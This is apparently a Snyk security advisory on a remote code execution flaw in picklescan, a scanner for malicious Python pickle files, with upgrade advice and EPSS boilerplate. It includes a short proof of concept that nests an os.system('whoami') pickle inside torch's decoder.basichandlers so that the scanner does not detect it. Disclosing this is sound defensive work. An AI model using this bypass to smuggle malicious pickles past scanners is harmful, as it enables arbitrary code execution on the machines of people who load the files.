Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade picklescan to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using torch.utils.data.datapipes.utils.decoder.basichandlers function. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses detection and is subsequently loaded.
import torch.utils.data.datapipes.utils.decoder as decoder
class EvilTorchUtilsDataDatapipesDecoder:
def __reduce__(self):
extension = 'pickle'
class RCE:
def __reduce__(self):
return os.system, ('whoami',)
data = pickle.dumps(RCE())
return decoder.basichandlers, (extension, data)